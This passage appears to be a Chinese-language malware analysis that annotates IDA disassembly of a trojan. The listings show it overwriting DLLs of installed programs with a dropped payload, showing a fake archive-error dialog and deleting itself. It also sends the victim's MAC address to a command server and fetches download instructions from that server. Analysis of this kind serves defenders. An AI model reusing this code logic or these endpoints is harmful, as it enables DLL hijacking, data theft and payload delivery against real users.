.nsp0:00401AA4                 lea     ecx, [esp+228h+Str]
.nsp0:00401AA8                 push    eax             ; Source
.nsp0:00401AA9                 push    ecx             ; Dest
.nsp0:00401AAA                 call    _wcscat
.nsp0:00401AAF                 mov     edx, dword_40AAB4
.nsp0:00401AB5                 push    offset off_40847C ; Source
.nsp0:00401ABA                 push    edx             ; Dest
.nsp0:00401ABB                 call    _wcscat
.nsp0:00401AC0                 mov     edi, Sleep
.nsp0:00401AC6                 add     esp, 10h
.nsp0:00401AC9
.nsp0:00401AC9 loc_401AC9:                             ; CODE XREF: sub_401990+15Dj
.nsp0:00401AC9                 cmp     ebx, 32h
.nsp0:00401ACC                 jge     short loc_401AF1
.nsp0:00401ACE                 mov     ecx, dword_40AAB4
.nsp0:00401AD4                 lea     eax, [esp+228h+Source]
.nsp0:00401AD8                 push    eax             ; int
.nsp0:00401AD9                 push    64h             ; lDistanceToMove
.nsp0:00401ADB                 push    ecx             ; lpFileName
.nsp0:00401ADC                 call    sub_401690
.nsp0:00401AE1                 add     esp, 0Ch
.nsp0:00401AE4                 mov     esi, eax
.nsp0:00401AE6                 inc     ebx
.nsp0:00401AE7                 push    0Ah             ; dwMilliseconds
.nsp0:00401AE9                 call    edi ; Sleep
.nsp0:00401AEB                 cmp     esi, ebp
.nsp0:00401AED                 jz      short loc_401AC9
.nsp0:00401AEF                 jmp     short loc_401AF9
.nsp0:00401AF1 ; ---------------------------------------------------------------------------
.nsp0:00401AF1
.nsp0:00401AF1 loc_401AF1:                             ; CODE XREF: sub_401990+13Cj
.nsp0:00401AF1                 cmp     esi, ebp
.nsp0:00401AF3                 jz      loc_401E14      ; default
.nsp0:00401AF9
.nsp0:00401AF9 loc_401AF9:                             ; CODE XREF: sub_401990+15Fj
.nsp0:00401AF9                 lea     edx, [esp+228h+Str]
.nsp0:00401AFD                 push    offset off_408470 ; Source
.nsp0:00401B02                 push    edx             ; Dest
.nsp0:00401B03                 call    _wcscat
.nsp0:00401B08                 lea     eax, [esp+230h+Source]
.nsp0:00401B0C                 lea     ecx, [esp+230h+Str]
.nsp0:00401B10                 push    eax
.nsp0:00401B11                 push    ecx
.nsp0:00401B12                 jmp     loc_401E0C
.nsp0:00401B17 ; ---------------------------------------------------------------------------
.nsp0:00401B17
.nsp0:00401B17 loc_401B17:                             ; CODE XREF: sub_401990+5Ej
.nsp0:00401B17                                         ; DATA XREF: .nsp0:off_401E4Co
.nsp0:00401B17                 mov     edx, dword_40AAB0 ; jumptable 004019EE case 2
.nsp0:00401B1D                 push    1               ; char
.nsp0:00401B1F                 push    edx             ; lpFileName
.nsp0:00401B20                 call    sub_401960
.nsp0:00401B25                 add     esp, 8
.nsp0:00401B28                 test    al, al
.nsp0:00401B2A                 jz      loc_401E14      ; default
.nsp0:00401B30                 mov     eax, dword_40AAB0
.nsp0:00401B35                 lea     ecx, [esp+228h+Str]
.nsp0:00401B39                 push    eax             ; Source
.nsp0:00401B3A                 push    ecx             ; Dest
.nsp0:00401B3B                 call    _wcscat
.nsp0:00401B40                 mov     edx, dword_40AAB0
.nsp0:00401B46                 push    offset aCommonProcmsg_ ; "\\common\\ProcMsg.dll"
.nsp0:00401B4B                 push    edx             ; Dest
.nsp0:00401B4C                 call    _wcscat
.nsp0:00401B51                 mov     edi, Sleep
.nsp0:00401B57                 add     esp, 10h
.nsp0:00401B5A
.nsp0:00401B5A loc_401B5A:                             ; CODE XREF: sub_401990+1EEj
.nsp0:00401B5A                 cmp     ebx, 32h
.nsp0:00401B5D                 jge     short loc_401B82
.nsp0:00401B5F                 mov     ecx, dword_40AAB0
.nsp0:00401B65                 lea     eax, [esp+228h+Source]
.nsp0:00401B69                 push    eax             ; int
.nsp0:00401B6A                 push    64h             ; lDistanceToMove
.nsp0:00401B6C                 push    ecx             ; lpFileName
.nsp0:00401B6D                 call    sub_401690
.nsp0:00401B72                 add     esp, 0Ch
.nsp0:00401B75                 mov     esi, eax
.nsp0:00401B77                 inc     ebx
.nsp0:00401B78                 push    0Ah             ; dwMilliseconds
.nsp0:00401B7A                 call    edi ; Sleep
.nsp0:00401B7C                 cmp     esi, ebp
.nsp0:00401B7E                 jz      short loc_401B5A
.nsp0:00401B80                 jmp     short loc_401B8A
.nsp0:00401B82 ; ---------------------------------------------------------------------------
.nsp0:00401B82
.nsp0:00401B82 loc_401B82:                             ; CODE XREF: sub_401990+1CDj
.nsp0:00401B82                 cmp     esi, ebp
.nsp0:00401B84                 jz      loc_401E14      ; default
.nsp0:00401B8A
.nsp0:00401B8A loc_401B8A:                             ; CODE XREF: sub_401990+1F0j
.nsp0:00401B8A                 lea     edx, [esp+228h+Source]
.nsp0:00401B8E                 lea     eax, [esp+228h+Str]
.nsp0:00401B92                 push    edx             ; Source
.nsp0:00401B93                 push    eax             ; Dest
.nsp0:00401B94                 call    _wcscat
.nsp0:00401B99                 add     esp, 8
.nsp0:00401B9C                 jmp     loc_401E14      ; default
.nsp0:00401BA1 ; ---------------------------------------------------------------------------
.nsp0:00401BA1
.nsp0:00401BA1 loc_401BA1:                             ; CODE XREF: sub_401990+5Ej
.nsp0:00401BA1                                         ; DATA XREF: .nsp0:off_401E4Co
.nsp0:00401BA1                 mov     ecx, dword_40AA9C ; jumptable 004019EE case 3
.nsp0:00401BA7                 push    1               ; char
.nsp0:00401BA9                 push    ecx             ; lpFileName
.nsp0:00401BAA                 call    sub_401960
.nsp0:00401BAF                 add     esp, 8
.nsp0:00401BB2                 test    al, al
.nsp0:00401BB4                 jz      loc_401E14      ; default
.nsp0:00401BBA                 mov     edx, dword_40AA9C
.nsp0:00401BC0                 lea     eax, [esp+228h+Str]
.nsp0:00401BC4                 push    edx             ; Source
.nsp0:00401BC5                 push    eax             ; Dest
.nsp0:00401BC6                 call    _wcscat
.nsp0:00401BCB                 mov     ecx, dword_40AA9C
.nsp0:00401BD1                 push    offset aSkmsg_dll ; "\\skmsg.dll"
.nsp0:00401BD6                 push    ecx             ; Dest
.nsp0:00401BD7                 call    _wcscat
.nsp0:00401BDC                 mov     edi, Sleep
.nsp0:00401BE2                 add     esp, 10h
.nsp0:00401BE5
.nsp0:00401BE5 loc_401BE5:                             ; CODE XREF: sub_401990+27Cj
.nsp0:00401BE5                 cmp     ebx, 32h
.nsp0:00401BE8                 jge     loc_401C7B
.nsp0:00401BEE                 mov     eax, dword_40AA9C
.nsp0:00401BF3                 lea     edx, [esp+228h+Source]
.nsp0:00401BF7                 push    edx             ; int
.nsp0:00401BF8                 push    64h             ; lDistanceToMove
.nsp0:00401BFA                 push    eax             ; lpFileName
.nsp0:00401BFB                 call    sub_401690
.nsp0:00401C00                 add     esp, 0Ch
.nsp0:00401C03                 mov     esi, eax
.nsp0:00401C05                 inc     ebx
.nsp0:00401C06                 push    0Ah             ; dwMilliseconds
.nsp0:00401C08                 call    edi ; Sleep
.nsp0:00401C0A                 cmp     esi, ebp
.nsp0:00401C0C                 jz      short loc_401BE5
.nsp0:00401C0E                 jmp     short loc_401C83
.nsp0:00401C10 ; ---------------------------------------------------------------------------
.nsp0:00401C10
.nsp0:00401C10 loc_401C10:                             ; CODE XREF: sub_401990+5Ej
.nsp0:00401C10                                         ; DATA XREF: .nsp0:off_401E4Co
.nsp0:00401C10                 mov     ecx, dword_40AA98 ; jumptable 004019EE case 4
.nsp0:00401C16                 push    1               ; char
.nsp0:00401C18                 push    ecx             ; lpFileName
.nsp0:00401C19                 call    sub_401960
.nsp0:00401C1E                 add     esp, 8
.nsp0:00401C21                 test    al, al
.nsp0:00401C23                 jz      loc_401E14      ; default
.nsp0:00401C29                 mov     edx, dword_40AA98
.nsp0:00401C2F                 lea     eax, [esp+228h+Str]
.nsp0:00401C33                 push    edx             ; Source
.nsp0:00401C34                 push    eax             ; Dest
.nsp0:00401C35                 call    _wcscat
.nsp0:00401C3A                 mov     ecx, dword_40AA98
.nsp0:00401C40                 push    offset aMedia2_dll ; "\\Media2.dll"
.nsp0:00401C45                 push    ecx             ; Dest
.nsp0:00401C46                 call    _wcscat
.nsp0:00401C4B                 mov     edi, Sleep
.nsp0:00401C51                 add     esp, 10h
.nsp0:00401C54
.nsp0:00401C54 loc_401C54:                             ; CODE XREF: sub_401990+2E7j
.nsp0:00401C54                 cmp     ebx, 32h
.nsp0:00401C57                 jge     short loc_401C7B
.nsp0:00401C59                 mov     eax, dword_40AA98
.nsp0:00401C5E                 lea     edx, [esp+228h+Source]
.nsp0:00401C62                 push    edx             ; int
.nsp0:00401C63                 push    64h             ; lDistanceToMove
.nsp0:00401C65                 push    eax             ; lpFileName
.nsp0:00401C66                 call    sub_401690
.nsp0:00401C6B                 add     esp, 0Ch
.nsp0:00401C6E                 mov     esi, eax
.nsp0:00401C70                 inc     ebx
.nsp0:00401C71                 push    0Ah             ; dwMilliseconds
.nsp0:00401C73                 call    edi ; Sleep
.nsp0:00401C75                 cmp     esi, ebp
.nsp0:00401C77                 jz      short loc_401C54
.nsp0:00401C79                 jmp     short loc_401C83
.nsp0:00401C7B ; ---------------------------------------------------------------------------
.nsp0:00401C7B
.nsp0:00401C7B loc_401C7B:                             ; CODE XREF: sub_401990+258j
.nsp0:00401C7B                                         ; sub_401990+2C7j
.nsp0:00401C7B                 cmp     esi, ebp
.nsp0:00401C7D                 jz      loc_401E14      ; default
.nsp0:00401C83
.nsp0:00401C83 loc_401C83:                             ; CODE XREF: sub_401990+27Ej
.nsp0:00401C83                                         ; sub_401990+2E9j
.nsp0:00401C83                 lea     ecx, [esp+228h+Str]
.nsp0:00401C87                 push    offset word_4084A0 ; Source
.nsp0:00401C8C                 push    ecx             ; Dest
.nsp0:00401C8D                 call    _wcscat
.nsp0:00401C92                 lea     edx, [esp+230h+Source]
.nsp0:00401C96                 lea     eax, [esp+230h+Str]
.nsp0:00401C9A                 push    edx
.nsp0:00401C9B                 push    eax
.nsp0:00401C9C                 jmp     loc_401E0C
.nsp0:00401CA1 ; ---------------------------------------------------------------------------
.nsp0:00401CA1
.nsp0:00401CA1 loc_401CA1:                             ; CODE XREF: sub_401990+5Ej
.nsp0:00401CA1                                         ; DATA XREF: .nsp0:off_401E4Co
.nsp0:00401CA1                 mov     ecx, dword_40AA90 ; jumptable 004019EE case 5
.nsp0:00401CA7                 push    1               ; char
.nsp0:00401CA9                 push    ecx             ; lpFileName
.nsp0:00401CAA                 call    sub_401960
.nsp0:00401CAF                 add     esp, 8
.nsp0:00401CB2                 test    al, al
.nsp0:00401CB4                 jz      loc_401E14      ; default
.nsp0:00401CBA                 mov     edx, dword_40AA90
.nsp0:00401CC0                 lea     eax, [esp+228h+Str]
.nsp0:00401CC4                 push    edx             ; Source
.nsp0:00401CC5                 push    eax             ; Dest
.nsp0:00401CC6                 call    _wcscat
.nsp0:00401CCB                 mov     ecx, dword_40AA90
.nsp0:00401CD1                 mov     edx, Dest
.nsp0:00401CD7                 push    ecx             ; Source
.nsp0:00401CD8                 push    edx             ; Dest
.nsp0:00401CD9                 call    _wcscat
.nsp0:00401CDE                 mov     eax, dword_40AA90
.nsp0:00401CE3                 push    offset a1_1_0_2640Fds_ ; "\\1.1.0.2640\\fds.dll"
.nsp0:00401CE8                 push    eax             ; Dest
.nsp0:00401CE9                 call    _wcscat
.nsp0:00401CEE                 mov     ecx, Dest
.nsp0:00401CF4                 push    offset aFds_dll ; "\\fds.dll"
.nsp0:00401CF9                 push    ecx             ; Dest
.nsp0:00401CFA                 call    _wcscat
.nsp0:00401CFF                 mov     ebp, Sleep
.nsp0:00401D05                 add     esp, 20h
.nsp0:00401D08
.nsp0:00401D08 loc_401D08:                             ; CODE XREF: sub_401990+39Bj
.nsp0:00401D08                 cmp     ebx, 32h
.nsp0:00401D0B                 jge     short loc_401D2F
.nsp0:00401D0D                 mov     eax, dword_40AA90
.nsp0:00401D12                 lea     edx, [esp+228h+Source]
.nsp0:00401D16                 push    edx             ; int
.nsp0:00401D17                 push    64h             ; lDistanceToMove
.nsp0:00401D19                 push    eax             ; lpFileName
.nsp0:00401D1A                 call    sub_401690
.nsp0:00401D1F                 add     esp, 0Ch
.nsp0:00401D22                 mov     esi, eax
.nsp0:00401D24                 inc     ebx
.nsp0:00401D25                 push    0Ah             ; dwMilliseconds
.nsp0:00401D27                 call    ebp ; Sleep
.nsp0:00401D29                 test    esi, esi
.nsp0:00401D2B                 jz      short loc_401D08
.nsp0:00401D2D                 jmp     short loc_401D37
.nsp0:00401D2F ; ---------------------------------------------------------------------------
.nsp0:00401D2F
.nsp0:00401D2F loc_401D2F:                             ; CODE XREF: sub_401990+37Bj
.nsp0:00401D2F                 test    esi, esi
.nsp0:00401D31                 jz      loc_401E14      ; default
.nsp0:00401D37
.nsp0:00401D37 loc_401D37:                             ; CODE XREF: sub_401990+39Dj
.nsp0:00401D37                 lea     ecx, [esp+228h+Str]
.nsp0:00401D3B                 push    offset word_4084A0 ; Source
.nsp0:00401D40                 push    ecx             ; Dest
.nsp0:00401D41                 xor     edi, edi
.nsp0:00401D43                 call    _wcscat
.nsp0:00401D48                 lea     edx, [esp+230h+Source]
.nsp0:00401D4C                 lea     eax, [esp+230h+Str]
.nsp0:00401D50                 push    edx             ; Source
.nsp0:00401D51                 push    eax             ; Dest
.nsp0:00401D52                 call    _wcscat
.nsp0:00401D57                 add     esp, 10h
.nsp0:00401D5A
.nsp0:00401D5A loc_401D5A:                             ; CODE XREF: sub_401990+3F2j
.nsp0:00401D5A                 cmp     edi, 32h
.nsp0:00401D5D                 jge     loc_401E14      ; default
.nsp0:00401D63                 mov     edx, Dest
.nsp0:00401D69                 lea     ecx, [esp+228h+Source]
.nsp0:00401D6D                 push    ecx             ; int
.nsp0:00401D6E                 push    64h             ; lDistanceToMove
.nsp0:00401D70                 push    edx             ; lpFileName
.nsp0:00401D71                 call    sub_401690
.nsp0:00401D76                 add     esp, 0Ch
.nsp0:00401D79                 mov     esi, eax
.nsp0:00401D7B                 inc     edi
.nsp0:00401D7C                 push    0Ah             ; dwMilliseconds
.nsp0:00401D7E                 call    ebp ; Sleep
.nsp0:00401D80                 test    esi, esi
.nsp0:00401D82                 jz      short loc_401D5A
.nsp0:00401D84                 jmp     loc_401E14      ; default
.nsp0:00401D89 ; ---------------------------------------------------------------------------
.nsp0:00401D89
.nsp0:00401D89 loc_401D89:                             ; CODE XREF: sub_401990+5Ej
.nsp0:00401D89                                         ; DATA XREF: .nsp0:off_401E4Co
.nsp0:00401D89                 mov     eax, dword_40AA94 ; jumptable 004019EE case 6
.nsp0:00401D8E                 push    1               ; char
.nsp0:00401D90                 push    eax             ; lpFileName
.nsp0:00401D91                 call    sub_401960
.nsp0:00401D96                 add     esp, 8
.nsp0:00401D99                 test    al, al
.nsp0:00401D9B                 jz      short loc_401E14 ; default
.nsp0:00401D9D                 mov     ecx, dword_40AA94
.nsp0:00401DA3                 lea     edx, [esp+228h+Str]
.nsp0:00401DA7                 push    ecx             ; Source
.nsp0:00401DA8                 push    edx             ; Dest
.nsp0:00401DA9                 call    _wcscat
.nsp0:00401DAE                 mov     eax, dword_40AA94
.nsp0:00401DB3                 push    offset aProgramBugrepo ; "\\Program\\BugReport.dll"
.nsp0:00401DB8                 push    eax             ; Dest
.nsp0:00401DB9                 call    _wcscat
.nsp0:00401DBE                 mov     edi, Sleep
.nsp0:00401DC4                 add     esp, 10h
.nsp0:00401DC7
.nsp0:00401DC7 loc_401DC7:                             ; CODE XREF: sub_401990+45Bj
.nsp0:00401DC7                 cmp     ebx, 32h
.nsp0:00401DCA                 jge     short loc_401DEF
.nsp0:00401DCC                 mov     edx, dword_40AA94
.nsp0:00401DD2                 lea     ecx, [esp+228h+Source]
.nsp0:00401DD6                 push    ecx             ; int
.nsp0:00401DD7                 push    64h             ; lDistanceToMove
.nsp0:00401DD9                 push    edx             ; lpFileName
.nsp0:00401DDA                 call    sub_401690
.nsp0:00401DDF                 add     esp, 0Ch
.nsp0:00401DE2                 mov     esi, eax
.nsp0:00401DE4                 inc     ebx
.nsp0:00401DE5                 push    0Ah             ; dwMilliseconds
.nsp0:00401DE7                 call    edi ; Sleep
.nsp0:00401DE9                 cmp     esi, ebp
.nsp0:00401DEB                 jz      short loc_401DC7
.nsp0:00401DED                 jmp     short loc_401DF3
.nsp0:00401DEF ; ---------------------------------------------------------------------------
.nsp0:00401DEF
.nsp0:00401DEF loc_401DEF:                             ; CODE XREF: sub_401990+43Aj
.nsp0:00401DEF                 cmp     esi, ebp
.nsp0:00401DF1                 jz      short loc_401E14 ; default
.nsp0:00401DF3
.nsp0:00401DF3 loc_401DF3:                             ; CODE XREF: sub_401990+45Dj
.nsp0:00401DF3                 lea     eax, [esp+228h+Str]
.nsp0:00401DF7                 push    offset aProgram ; "\\Program\"
.nsp0:00401DFC                 push    eax             ; Dest
.nsp0:00401DFD                 call    _wcscat
.nsp0:00401E02                 lea     ecx, [esp+230h+Source]
.nsp0:00401E06                 lea     edx, [esp+230h+Str]
.nsp0:00401E0A                 push    ecx             ; Source
.nsp0:00401E0B                 push    edx             ; Dest
.nsp0:00401E0C
.nsp0:00401E0C loc_401E0C:                             ; CODE XREF: sub_401990+F1j
.nsp0:00401E0C                                         ; sub_401990+182j ...
.nsp0:00401E0C                 call    _wcscat
.nsp0:00401E11                 add     esp, 10h
.nsp0:00401E14
.nsp0:00401E14 loc_401E14:                             ; CODE XREF: sub_401990+58j
.nsp0:00401E14                                         ; sub_401990+78j ...
.nsp0:00401E14                 lea     eax, [esp+228h+Str] ; default
.nsp0:00401E18                 push    eax             ; Str
.nsp0:00401E19                 call    _wcslen
.nsp0:00401E1E                 add     esp, 4
.nsp0:00401E21                 test    eax, eax
.nsp0:00401E23                 pop     edi
.nsp0:00401E24                 pop     esi
.nsp0:00401E25                 pop     ebp
.nsp0:00401E26                 pop     ebx
.nsp0:00401E27                 jbe     short loc_401E42
.nsp0:00401E29                 lea     ecx, [esp+218h+Str]
.nsp0:00401E2D                 push    1               ; bFailIfExists
.nsp0:00401E2F                 push    ecx             ; lpNewFileName
.nsp0:00401E30                 push    offset aCWindowsTempPl ; "C:\\WINDOWS\\temp\\playList0.dat"
.nsp0:00401E35                 call    CopyFileW
.nsp0:00401E3B                 add     esp, 218h
.nsp0:00401E41                 retn
.nsp0:00401E42 ; ---------------------------------------------------------------------------
.nsp0:00401E42
.nsp0:00401E42 loc_401E42:                             ; CODE XREF: sub_401990+497j
.nsp0:00401E42                 xor     eax, eax
.nsp0:00401E44                 add     esp, 218h
.nsp0:00401E4A                 retn
.nsp0:00401E4A sub_401990      endp
五:删除C:\\WINDOWS\\temp\\playList0.dat文件
.nsp0:004020CE                 push    offset aCWindowsTempPl ; "C:\\WINDOWS\\temp\\playList0.dat"
.nsp0:004020D3                 call    DeleteFileW
六:调用ShellExecuteW带参数运行C:\\WINDOWS\\temp\\uninstaller.exe,参数为当前木马路径!uninstaller.exe是实现弹出个假冒的压缩错误对话框并删除病毒自身!
.nsp0:00402106                 push    0               ; nShowCmd
.nsp0:00402108                 lea     edx, [esp+224h+Parameters]
.nsp0:0040210C                 push    0               ; lpDirectory
.nsp0:0040210E                 push    edx             ; lpParameters
.nsp0:0040210F                 push    offset FileName ; "C:\\WINDOWS\\temp\\uninstaller.exe"
.nsp0:00402114                 push    offset Operation ; "open"
.nsp0:00402119                 push    0               ; hwnd
.nsp0:0040211B                 call    ShellExecuteW
playList0.dat文件分析:

一:先解密 加密的字符串

baidu.51ddd.com
C:\\WINDOWS\\system32\\Com\\comreat.mml
/tongji/tongji.asp?id=2&mac=
/rising.txt
/rising/
.nsp0:10001100                 push    edi
.nsp0:10001101                 push    200h            ; unsigned int
.nsp0:10001106                 call    ??2@YAPAXI@Z    ; operator new(uint)
.nsp0:1000110B                 push    200h            ; unsigned int
.nsp0:10001110                 mov     lpszServerName, eax
.nsp0:10001115                 call    ??2@YAPAXI@Z    ; operator new(uint)
.nsp0:1000111A                 push    200h            ; unsigned int
.nsp0:1000111F                 mov     pszPath, eax
.nsp0:10001124                 call    ??2@YAPAXI@Z    ; operator new(uint)
.nsp0:10001129                 push    200h            ; unsigned int
.nsp0:1000112E                 mov     lpszObjectName, eax
.nsp0:10001133                 call    ??2@YAPAXI@Z    ; operator new(uint)
.nsp0:10001138                 push    200h            ; unsigned int
.nsp0:1000113D                 mov     dword_1000AF14, eax
.nsp0:10001142                 call    ??2@YAPAXI@Z    ; operator new(uint)
.nsp0:10001147                 push    1000h           ; unsigned int
.nsp0:1000114C                 mov     dword_1000AF10, eax
.nsp0:10001151                 call    ??2@YAPAXI@Z    ; operator new(uint)
.nsp0:10001156                 mov     edi, eax
.nsp0:10001158                 mov     ecx, 400h
.nsp0:1000115D                 xor     eax, eax
.nsp0:1000115F                 mov     dword_1000AF30, edi
.nsp0:10001165                 rep stosd
.nsp0:10001167                 push    1000h           ; unsigned int
.nsp0:1000116C                 call    ??2@YAPAXI@Z    ; operator new(uint)
.nsp0:10001171                 mov     edi, eax
.nsp0:10001173                 mov     ecx, 400h
.nsp0:10001178                 xor     eax, eax
.nsp0:1000117A                 mov     dword_1000AF2C, edi
.nsp0:10001180                 rep stosd
.nsp0:10001182                 push    1000h           ; unsigned int
.nsp0:10001187                 call    ??2@YAPAXI@Z    ; operator new(uint)
.nsp0:1000118C                 mov     edi, eax
.nsp0:1000118E                 mov     ecx, 400h
.nsp0:10001193                 xor     eax, eax
.nsp0:10001195                 mov     dword_1000AF28, edi
.nsp0:1000119B                 rep stosd
.nsp0:1000119D                 push    6800h           ; unsigned int
.nsp0:100011A2                 call    ??2@YAPAXI@Z    ; operator new(uint)
.nsp0:100011A7                 mov     edi, eax
.nsp0:100011A9                 mov     ecx, 1A00h
.nsp0:100011AE                 xor     eax, eax
.nsp0:100011B0                 mov     dword_1000AF24, edi
.nsp0:100011B6                 rep stosd
.nsp0:100011B8                 mov     eax, lpszServerName
.nsp0:100011BD                 push    eax             ; int
.nsp0:100011BE                 push    offset Str      ; Str
.nsp0:100011C3                 call    sub_10001000
.nsp0:100011C8                 mov     ecx, pszPath
.nsp0:100011CE                 push    ecx             ; int
.nsp0:100011CF                 push    offset aQwX     ; "~qw}x~"
.nsp0:100011D4                 call    sub_10001000
.nsp0:100011D9                 mov     edx, lpszObjectName
.nsp0:100011DF                 push    edx             ; int
.nsp0:100011E0                 push    offset asc_1000A148 ; "|}"
.nsp0:100011E5                 call    sub_10001000
.nsp0:100011EA                 mov     eax, dword_1000AF10
.nsp0:100011EF                 push    eax             ; int
.nsp0:100011F0                 push    offset asc_1000A228 ; "|}"
.nsp0:100011F5                 call    sub_10001000
.nsp0:100011FA                 mov     ecx, dword_1000AF14
.nsp0:10001200                 add     esp, 44h
.nsp0:10001203                 push    ecx             ; int
.nsp0:10001204                 push    offset asc_1000A1F4 ; "|}"
.nsp0:10001209                 call    sub_10001000
.nsp0:1000120E                 add     esp, 8
.nsp0:10001211                 pop     edi
.nsp0:10001212                 retn
二:

1:调用GetAdaptersInfo获得MAC地址, 把获取的信息发送到http://baidu.51ddd.com/tongji/tongji.asp?id=2&mac=
.nsp0:10001395                 push    ebp             ; dwFlags
.nsp0:10001396                 push    ebp             ; lpszProxyBypass
.nsp0:10001397                 push    ebp             ; lpszProxy
.nsp0:10001398                 push    ebp             ; dwAccessType
.nsp0:10001399                 push    offset szAgent  ; "http generic"
.nsp0:1000139E                 call    InternetOpenW
.nsp0:100013A4                 cmp     eax, ebp
.nsp0:100013A6                 pop     ebx
.nsp0:100013A7                 jz      short loc_10001425
.nsp0:100013A9                 mov     ecx, lpszServerName
.nsp0:100013AF                 push    ebp             ; dwContext
.nsp0:100013B0                 push    ebp             ; dwFlags
.nsp0:100013B1                 push    3               ; dwService
.nsp0:100013B3                 push    offset szPassword ; "HTTP/1.0"
.nsp0:100013B8                 push    ebp             ; lpszUserName
.nsp0:100013B9                 push    50h             ; nServerPort
.nsp0:100013BB                 push    ecx             ; lpszServerName
.nsp0:100013BC                 push    eax             ; hInternet
.nsp0:100013BD                 call    InternetConnectW
.nsp0:100013C3                 cmp     eax, ebp
.nsp0:100013C5                 jz      short loc_10001425
.nsp0:100013C7                 mov     edx, lpszObjectName
.nsp0:100013CD                 push    ebp             ; dwContext
.nsp0:100013CE                 push    80000000h       ; dwFlags
.nsp0:100013D3                 push    ebp             ; lplpszAcceptTypes
.nsp0:100013D4                 push    ebp             ; lpszReferrer
.nsp0:100013D5                 push    offset szPassword ; "HTTP/1.0"
.nsp0:100013DA                 push    edx             ; lpszObjectName
.nsp0:100013DB                 push    offset szVerb   ; "GET"
.nsp0:100013E0                 push    eax             ; hConnect
.nsp0:100013E1                 call    HttpOpenRequestW
.nsp0:100013E7                 mov     esi, eax
.nsp0:100013E9                 cmp     esi, ebp
.nsp0:100013EB                 jz      short loc_10001425
.nsp0:100013ED                 lea     eax, [esp+9Ch+szHeaders]
.nsp0:100013F1                 push    0A0000000h      ; dwModifiers
.nsp0:100013F6                 push    eax             ; Str
.nsp0:100013F7                 call    _wcslen
.nsp0:100013FC                 add     esp, 4
.nsp0:100013FF                 lea     ecx, [esp+0A0h+szHeaders]
.nsp0:10001403                 push    eax             ; dwHeadersLength
.nsp0:10001404                 push    ecx             ; lpszHeaders
.nsp0:10001405                 push    esi             ; hRequest
.nsp0:10001406                 call    HttpAddRequestHeadersW
.nsp0:1000140C                 test    eax, eax
.nsp0:1000140E                 jz      short loc_10001425
.nsp0:10001410                 push    ebp             ; dwOptionalLength
.nsp0:10001411                 push    ebp             ; lpOptional
.nsp0:10001412                 push    ebp             ; dwHeadersLength
.nsp0:10001413                 push    ebp             ; lpszHeaders
.nsp0:10001414                 push    esi             ; hRequest
.nsp0:10001415                 call    HttpSendRequestW
.nsp0:1000141B                 pop     edi
.nsp0:1000141C                 pop     esi
.nsp0:1000141D                 pop     ebp
.nsp0:1000141E                 add     esp, 90h
.nsp0:10001424                 retn
.nsp0:10001425 ; ---------------------------------------------------------------------------
.nsp0:10001425
.nsp0:10001425 loc_10001425:                           ; CODE XREF: sub_100012C0+4Ej
.nsp0:10001425                                         ; sub_100012C0+E7j ...
.nsp0:10001425                 pop     edi
.nsp0:10001426                 pop     esi
.nsp0:10001427                 xor     eax, eax
.nsp0:10001429                 pop     ebp
.nsp0:1000142A                 add     esp, 90h
.nsp0:10001430                 retn
2:从http://baidu.51ddd.com/rising.txt处获取下载木马的相关信息!
.nsp0:10001540                 sub     esp, 610h
.nsp0:10001546                 push    ebx
.nsp0:10001547                 xor     ebx, ebx
.nsp0:10001549                 push    ebx             ; dwFlags
.nsp0:1000154A                 push    ebx             ; lpszProxyBypass
.nsp0:1000154B                 push    ebx             ; lpszProxy
.nsp0:1000154C                 push    ebx             ; dwAccessType
.nsp0:1000154D                 push    offset aDownloadpacket ; "DownLoadPacket"
.nsp0:10001552                 call    InternetOpenW
.nsp0:10001558                 cmp     eax, ebx
.nsp0:1000155A                 mov     hInternet, eax
.nsp0:1000155F                 jz      loc_100016EA
.nsp0:10001565                 push    edi
.nsp0:10001566                 mov     ecx, 7Fh
.nsp0:1000156B                 xor     eax, eax
.nsp0:1000156D                 lea     edi, [esp+618h+var_5FE]
.nsp0:10001571                 mov     [esp+618h+szUrl], bx
.nsp0:10001576                 push    offset Source   ; "http://"
.nsp0:1000157B                 rep stosd
.nsp0:1000157D                 stosw
.nsp0:1000157F                 lea     eax, [esp+61Ch+szUrl]
.nsp0:10001583                 push    eax             ; Dest
.nsp0:10001584                 call    _wcscat
.nsp0:10001589                 mov     ecx, lpszServerName
.nsp0:1000158F                 lea     edx, [esp+620h+szUrl]
.nsp0:10001593                 push    ecx             ; Source
.nsp0:10001594                 push    edx             ; Dest
.nsp0:10001595                 call    _wcscat
.nsp0:1000159A                 mov     eax, dword_1000AF10
.nsp0:1000159F                 lea     ecx, [esp+628h+szUrl]
.nsp0:100015A3                 push    eax             ; Source
.nsp0:100015A4                 push    ecx             ; Dest
.nsp0:100015A5                 call    _wcscat
.nsp0:100015AA                 mov     eax, hInternet
.nsp0:100015AF                 add     esp, 18h
.nsp0:100015B2                 lea     edx, [esp+618h+szUrl]
.nsp0:100015B6                 push    ebx             ; dwContext
.nsp0:100015B7                 push    84000100h       ; dwFlags
.nsp0:100015BC                 push    ebx             ; dwHeadersLength
.nsp0:100015BD                 push    ebx             ; lpszHeaders
.nsp0:100015BE                 push    edx             ; lpszUrl
.nsp0:100015BF                 push    eax             ; hInternet
.nsp0:100015C0                 call    InternetOpenUrlW
.nsp0:100015C6                 mov     edx, eax
.nsp0:100015C8                 cmp     edx, ebx
.nsp0:100015CA                 mov     dword_1000AF34, edx
.nsp0:100015D0                 jz      loc_100016D6
.nsp0:100015D6                 mov     ecx, 0FFh
.nsp0:100015DB                 xor     eax, eax
.nsp0:100015DD                 lea     edi, [esp+618h+var_3FF]
.nsp0:100015E4                 mov     [esp+618h+Buffer], bl
.nsp0:100015EB                 rep stosd
.nsp0:100015ED                 stosw
.nsp0:100015EF                 lea     ecx, [esp+618h+dwNumberOfBytesRead]
.nsp0:100015F3                 stosb
.nsp0:100015F4                 push    ecx             ; lpdwNumberOfBytesRead
.nsp0:100015F5                 lea     eax, [esp+61Ch+Buffer]
.nsp0:100015FC                 push    400h            ; dwNumberOfBytesToRead
.nsp0:10001601                 push    eax             ; lpBuffer
.nsp0:10001602                 push    edx             ; hFile
.nsp0:10001603                 call    InternetReadFile
.nsp0:10001609                 test    eax, eax
.nsp0:1000160B                 jz      loc_100016C3
.nsp0:10001611                 lea     ecx, [esp+618h+Buffer]
.nsp0:10001618                 push    offset SubStr   ; "<HEAD>"
.nsp0:1000161D                 push    ecx             ; Str
.nsp0:1000161E                 call    _strstr
.nsp0:10001623                 add     esp, 8
.nsp0:10001626                 test    eax, eax
.nsp0:10001628                 jnz     loc_100016C3
